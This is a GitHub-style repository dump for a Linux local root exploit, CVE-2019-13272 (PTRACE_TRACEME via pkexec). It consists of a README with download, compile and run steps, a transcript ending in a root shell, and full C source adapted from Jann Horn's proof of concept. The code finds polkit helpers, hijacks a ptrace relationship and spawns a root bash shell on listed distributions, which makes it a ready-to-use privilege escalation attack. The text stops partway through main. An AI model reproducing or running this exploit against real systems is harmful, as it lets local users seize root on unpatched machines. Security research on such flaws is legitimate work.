├── CVE-2019-13272.jpg ├── README.md └── CVE-2019-13272.c /CVE-2019-13272.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/CVE-2019-13272/HEAD/CVE-2019-13272.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-13272 Linux local root exploit 2 | 3 | ### Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) 4 | 5 | 6 | [![asciicast](https://asciinema.org/a/6HFa1zk4bZKFjXDcr5LKnyiH1.svg)](https://asciinema.org/a/6HFa1zk4bZKFjXDcr5LKnyiH1) 7 | 8 | ``` 9 | In the Linux kernel before 5.1.17, 10 | 11 | ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, 12 | 13 | which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, 14 | 15 | where a parent drops privileges and calls execve (potentially allowing control by an attacker). 16 | 17 | One contributing factor is an object lifetime issue (which can also cause a panic). 18 | 19 | Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. 20 | 21 | NOTE: SELinux deny_ptrace might be a usable workaround in some environments. 22 | 23 | 在5.1.17之前的Linux内核中, 24 | kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录, 25 | 这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve(可能允许攻击者控制)。 26 | 一个影响因素是对象寿命问题(也可能导致恐慌)。 27 | 另一个影响因素是将ptrace关系标记为特权,这可以通过(例如)Polkit的pkexec帮助程序与PTRACE_TRACEME进行利用。 28 | 注意:在某些环境中,SELinux deny_ptrace可能是一种可用的解决方法。 29 | ``` 30 | 31 | 32 | ![](./CVE-2019-13272.jpg) 33 | 34 | `wget https://raw.githubusercontent.com/jas502n/CVE-2019-13272/master/CVE-2019-13272.c` 35 | 36 | `gcc -s CVE-2019-13272.c -o pwned` 37 | 38 | ``` 39 | jas502n@Study:~/Desktop/CVE-2019-13272$ ./pwned 40 | Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) 41 | [.] Checking environment ... 42 | [~] Done, looks good 43 | [.] Searching for known helpers ... 44 | [~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper 45 | [.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper 46 | [.] Spawning suid process (/usr/bin/pkexec) ... 47 | [.] Tracing midpid ... 48 | [~] Attached to midpid 49 | To run a command as administrator (user "root"), use "sudo ". 50 | See "man sudo_root" for details. 51 | 52 | root@Study:/home/jas502n/Desktop/CVE-2019-13272# 53 | ``` 54 | 55 | 56 | 57 | 58 | ### Updated version of Jann Horn's exploit for CVE-2019-13272. 59 | 60 | `https://bugs.chromium.org/p/project-zero/issues/detail?id=1903` 61 | 62 | 63 | -------------------------------------------------------------------------------- /CVE-2019-13272.c: -------------------------------------------------------------------------------- 1 | // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) 2 | // Uses pkexec technique 3 | // --- 4 | // Original discovery and exploit author: Jann Horn 5 | // - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 6 | // --- 7 | // 8 | // - added known helper paths 9 | // - added search for suitable helpers 10 | // - added automatic targeting 11 | // - changed target suid exectuable from passwd to pkexec 12 | // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272 13 | // --- 14 | // Tested on: 15 | // - Ubuntu 16.04.5 kernel 4.15.0-29-generic 16 | // - Ubuntu 18.04.1 kernel 4.15.0-20-generic 17 | // - Ubuntu 19.04 kernel 5.0.0-15-generic 18 | // - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic 19 | // - Linux Mint 19 kernel 4.15.0-20-generic 20 | // - Xubuntu 16.04.4 kernel 4.13.0-36-generic 21 | // - ElementaryOS 0.4.1 4.8.0-52-generic 22 | // - Backbox 6 kernel 4.18.0-21-generic 23 | // - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 24 | // - Kali kernel 4.19.0-kali5-amd64 25 | // - Redcore 1806 (LXQT) kernel 4.16.16-redcore 26 | // - MX 18.3 kernel 4.19.37-2~mx17+1 27 | // - RHEL 8.0 kernel 4.18.0-80.el8.x86_64 28 | // - Debian 9.4.0 kernel 4.9.0-6-amd64 29 | // - Debian 10.0.0 kernel 4.19.0-5-amd64 30 | // - Devuan 2.0.0 kernel 4.9.0-6-amd64 31 | // - SparkyLinux 5.8 kernel 4.19.0-5-amd64 32 | // - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64 33 | // - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO 34 | // - Mageia 6 kernel 4.9.35-desktop-1.mga6 35 | // - Antergos 18.7 kernel 4.17.6-1-ARCH 36 | // --- 37 | // user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root 38 | // user@linux-mint-19-2:~$ ./ptrace_traceme_root 39 | // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) 40 | // [.] Checking environment ... 41 | // [~] Done, looks good 42 | // [.] Searching for known helpers ... 43 | // [~] Found known helper: /usr/sbin/mate-power-backlight-helper 44 | // [.] Using helper: /usr/sbin/mate-power-backlight-helper 45 | // [.] Spawning suid process (/usr/bin/pkexec) ... 46 | // [.] Tracing midpid ... 47 | // [~] Attached to midpid 48 | // To run a command as administrator (user "root"), use "sudo ". 49 | // See "man sudo_root" for details. 50 | // 51 | // root@linux-mint-19-2:/home/user# 52 | // --- 53 | 54 | #define _GNU_SOURCE 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | 73 | #define DEBUG 74 | 75 | #ifdef DEBUG 76 | # define dprintf printf 77 | #else 78 | # define dprintf 79 | #endif 80 | 81 | #define SAFE(expr) ({ \ 82 | typeof(expr) __res = (expr); \ 83 | if (__res == -1) { \ 84 | dprintf("[-] Error: %s\n", #expr); \ 85 | return 0; \ 86 | } \ 87 | __res; \ 88 | }) 89 | #define max(a,b) ((a)>(b) ? (a) : (b)) 90 | 91 | static const char *SHELL = "/bin/bash"; 92 | 93 | static int middle_success = 1; 94 | static int block_pipe[2]; 95 | static int self_fd = -1; 96 | static int dummy_status; 97 | static const char *helper_path; 98 | static const char *pkexec_path = "/usr/bin/pkexec"; 99 | static const char *pkaction_path = "/usr/bin/pkaction"; 100 | struct stat st; 101 | 102 | const char *helpers[1024]; 103 | 104 | const char *known_helpers[] = { 105 | "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", 106 | "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", 107 | "/usr/lib/unity-settings-daemon/usd-backlight-helper", 108 | "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", 109 | "/usr/sbin/mate-power-backlight-helper", 110 | "/usr/bin/xfpm-power-backlight-helper", 111 | "/usr/bin/lxqt-backlight_backend", 112 | "/usr/libexec/gsd-wacom-led-helper", 113 | "/usr/libexec/gsd-wacom-oled-helper", 114 | "/usr/libexec/gsd-backlight-helper", 115 | "/usr/lib/gsd-backlight-helper", 116 | "/usr/lib/gsd-wacom-led-helper", 117 | "/usr/lib/gsd-wacom-oled-helper", 118 | }; 119 | 120 | /* temporary printf; returned pointer is valid until next tprintf */ 121 | static char *tprintf(char *fmt, ...) { 122 | static char buf[10000]; 123 | va_list ap; 124 | va_start(ap, fmt); 125 | vsprintf(buf, fmt, ap); 126 | va_end(ap); 127 | return buf; 128 | } 129 | 130 | /* 131 | * fork, execute pkexec in parent, force parent to trace our child process, 132 | * execute suid executable (pkexec) in child. 133 | */ 134 | static int middle_main(void *dummy) { 135 | prctl(PR_SET_PDEATHSIG, SIGKILL); 136 | pid_t middle = getpid(); 137 | 138 | self_fd = SAFE(open("/proc/self/exe", O_RDONLY)); 139 | 140 | pid_t child = SAFE(fork()); 141 | if (child == 0) { 142 | prctl(PR_SET_PDEATHSIG, SIGKILL); 143 | 144 | SAFE(dup2(self_fd, 42)); 145 | 146 | /* spin until our parent becomes privileged (have to be fast here) */ 147 | int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); 148 | char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); 149 | while (1) { 150 | char buf[1000]; 151 | ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); 152 | buf[buflen] = '\0'; 153 | if (strstr(buf, needle)) break; 154 | } 155 | 156 | /* 157 | * this is where the bug is triggered. 158 | * while our parent is in the middle of pkexec, we force it to become our 159 | * tracer, with pkexec's creds as ptracer_cred. 160 | */ 161 | SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); 162 | 163 | /* 164 | * now we execute a suid executable (pkexec). 165 | * Because the ptrace relationship is considered to be privileged, 166 | * this is a proper suid execution despite the attached tracer, 167 | * not a degraded one. 168 | * at the end of execve(), this process receives a SIGTRAP from ptrace. 169 | */ 170 | execl(pkexec_path, basename(pkexec_path), NULL); 171 | 172 | dprintf("[-] execl: Executing suid executable failed"); 173 | exit(EXIT_FAILURE); 174 | } 175 | 176 | SAFE(dup2(self_fd, 0)); 177 | SAFE(dup2(block_pipe[1], 1)); 178 | 179 | /* execute pkexec as current user */ 180 | struct passwd *pw = getpwuid(getuid()); 181 | if (pw == NULL) { 182 | dprintf("[-] getpwuid: Failed to retrieve username"); 183 | exit(EXIT_FAILURE); 184 | } 185 | 186 | middle_success = 1; 187 | execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, 188 | helper_path, 189 | "--help", NULL); 190 | middle_success = 0; 191 | dprintf("[-] execl: Executing pkexec failed"); 192 | exit(EXIT_FAILURE); 193 | } 194 | 195 | /* ptrace pid and wait for signal */ 196 | static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { 197 | struct user_regs_struct regs; 198 | struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) }; 199 | SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); 200 | SAFE(waitpid(pid, &dummy_status, 0)); 201 | SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov)); 202 | 203 | /* set up indirect arguments */ 204 | unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; 205 | struct injected_page { 206 | unsigned long argv[2]; 207 | unsigned long envv[1]; 208 | char arg0[8]; 209 | char path[1]; 210 | } ipage = { 211 | .argv = { scratch_area + offsetof(struct injected_page, arg0) } 212 | }; 213 | strcpy(ipage.arg0, arg0); 214 | for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) { 215 | unsigned long pdata = ((unsigned long *)&ipage)[i]; 216 | SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), 217 | (void*)pdata)); 218 | } 219 | 220 | /* execveat(exec_fd, path, argv, envv, flags) */ 221 | regs.orig_rax = __NR_execveat; 222 | regs.rdi = exec_fd; 223 | regs.rsi = scratch_area + offsetof(struct injected_page, path); 224 | regs.rdx = scratch_area + offsetof(struct injected_page, argv); 225 | regs.r10 = scratch_area + offsetof(struct injected_page, envv); 226 | regs.r8 = AT_EMPTY_PATH; 227 | 228 | SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); 229 | SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); 230 | SAFE(waitpid(pid, &dummy_status, 0)); 231 | } 232 | 233 | static int middle_stage2(void) { 234 | /* our child is hanging in signal delivery from execve()'s SIGTRAP */ 235 | pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); 236 | force_exec_and_wait(child, 42, "stage3"); 237 | return 0; 238 | } 239 | 240 | // * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * * 241 | 242 | static int spawn_shell(void) { 243 | SAFE(setresgid(0, 0, 0)); 244 | SAFE(setresuid(0, 0, 0)); 245 | execlp(SHELL, basename(SHELL), NULL); 246 | dprintf("[-] execlp: Executing shell %s failed", SHELL); 247 | exit(EXIT_FAILURE); 248 | } 249 | 250 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * * 251 | 252 | static int check_env(void) { 253 | const char* xdg_session = getenv("XDG_SESSION_ID"); 254 | 255 | dprintf("[.] Checking environment ...\n"); 256 | 257 | if (stat(pkexec_path, &st) != 0) { 258 | dprintf("[-] Could not find pkexec executable at %s", pkexec_path); 259 | exit(EXIT_FAILURE); 260 | } 261 | if (stat(pkaction_path, &st) != 0) { 262 | dprintf("[-] Could not find pkaction executable at %s", pkaction_path); 263 | exit(EXIT_FAILURE); 264 | } 265 | if (xdg_session == NULL) { 266 | dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); 267 | return 1; 268 | } 269 | if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { 270 | dprintf("[!] Warning: Could not find active PolKit agent\n"); 271 | return 1; 272 | } 273 | if (stat("/usr/sbin/getsebool", &st) == 0) { 274 | if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { 275 | dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); 276 | return 1; 277 | } 278 | } 279 | 280 | dprintf("[~] Done, looks good\n"); 281 | 282 | return 0; 283 | } 284 | 285 | /* 286 | * Use pkaction to search PolKit policy actions for viable helper executables. 287 | * Check each action for allow_active=yes, extract the associated helper path, 288 | * and check the helper path exists. 289 | */ 290 | int find_helpers() { 291 | char cmd[1024]; 292 | snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); 293 | FILE *fp; 294 | fp = popen(cmd, "r"); 295 | if (fp == NULL) { 296 | dprintf("[-] Failed to run: %s\n", cmd); 297 | exit(EXIT_FAILURE); 298 | } 299 | 300 | char line[1024]; 301 | char buffer[2048]; 302 | int helper_index = 0; 303 | int useful_action = 0; 304 | static const char *needle = "org.freedesktop.policykit.exec.path -> "; 305 | int needle_length = strlen(needle); 306 | 307 | while (fgets(line, sizeof(line)-1, fp) != NULL) { 308 | /* check the action uses allow_active=yes*/ 309 | if (strstr(line, "implicit active:")) { 310 | if (strstr(line, "yes")) { 311 | useful_action = 1; 312 | } 313 | continue; 314 | } 315 | 316 | if (useful_action == 0) 317 | continue; 318 | useful_action = 0; 319 | 320 | /* extract the helper path */ 321 | int length = strlen(line); 322 | char* found = memmem(&line[0], length, needle, needle_length); 323 | if (found == NULL) 324 | continue; 325 | 326 | memset(buffer, 0, sizeof(buffer)); 327 | for (int i = 0; found[needle_length + i] != '\n'; i++) { 328 | if (i >= sizeof(buffer)-1) 329 | continue; 330 | buffer[i] = found[needle_length + i]; 331 | } 332 | 333 | if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || 334 | strstr(&buffer[0], "/cpugovctl") != 0 || 335 | strstr(&buffer[0], "/package-system-locked") != 0 || 336 | strstr(&buffer[0], "/cddistupgrader") != 0) { 337 | dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]); 338 | continue; 339 | } 340 | 341 | /* check the path exists */ 342 | if (stat(&buffer[0], &st) != 0) 343 | continue; 344 | 345 | helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); 346 | helper_index++; 347 | 348 | if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) 349 | break; 350 | } 351 | 352 | pclose(fp); 353 | return 0; 354 | } 355 | 356 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * 357 | 358 | int ptrace_traceme_root() { 359 | dprintf("[.] Using helper: %s\n", helper_path); 360 | 361 | /* 362 | * set up a pipe such that the next write to it will block: packet mode, 363 | * limited to one packet 364 | */ 365 | SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 366 | SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 367 | char dummy = 0; 368 | SAFE(write(block_pipe[1], &dummy, 1)); 369 | 370 | /* spawn pkexec in a child, and continue here once our child is in execve() */ 371 | dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); 372 | static char middle_stack[1024*1024]; 373 | pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 374 | CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 375 | if (!middle_success) return 1; 376 | 377 | /* 378 | * wait for our child to go through both execve() calls (first pkexec, then 379 | * the executable permitted by polkit policy). 380 | */ 381 | while (1) { 382 | int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 383 | char buf[16]; 384 | int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 385 | buf[buflen] = '\0'; 386 | *strchrnul(buf, '\n') = '\0'; 387 | if (strncmp(buf, basename(helper_path), 15) == 0) 388 | break; 389 | usleep(100000); 390 | } 391 | 392 | /* 393 | * our child should have gone through both the privileged execve() and the 394 | * following execve() here 395 | */ 396 | dprintf("[.] Tracing midpid ...\n"); 397 | SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 398 | SAFE(waitpid(midpid, &dummy_status, 0)); 399 | dprintf("[~] Attached to midpid\n"); 400 | 401 | force_exec_and_wait(midpid, 0, "stage2"); 402 | exit(EXIT_SUCCESS); 403 | } 404 | 405 | int main(int argc, char **argv) { 406 | if (strcmp(argv[0], "stage2") == 0) 407 | return middle_stage2(); 408 | if (strcmp(argv[0], "stage3") == 0) 409 | return spawn_shell(); 410 | 411 | dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"); 412 | 413 | check_env(); 414 | 415 | if (argc > 1 && strcmp(argv[1], "check") == 0) { 416 | exit(0); 417 | } 418 | 419 | /* Search for known helpers defined in 'known_helpers' array */ 420 | dprintf("[.] Searching for known helpers ...\n"); 421 | for (int i=0; i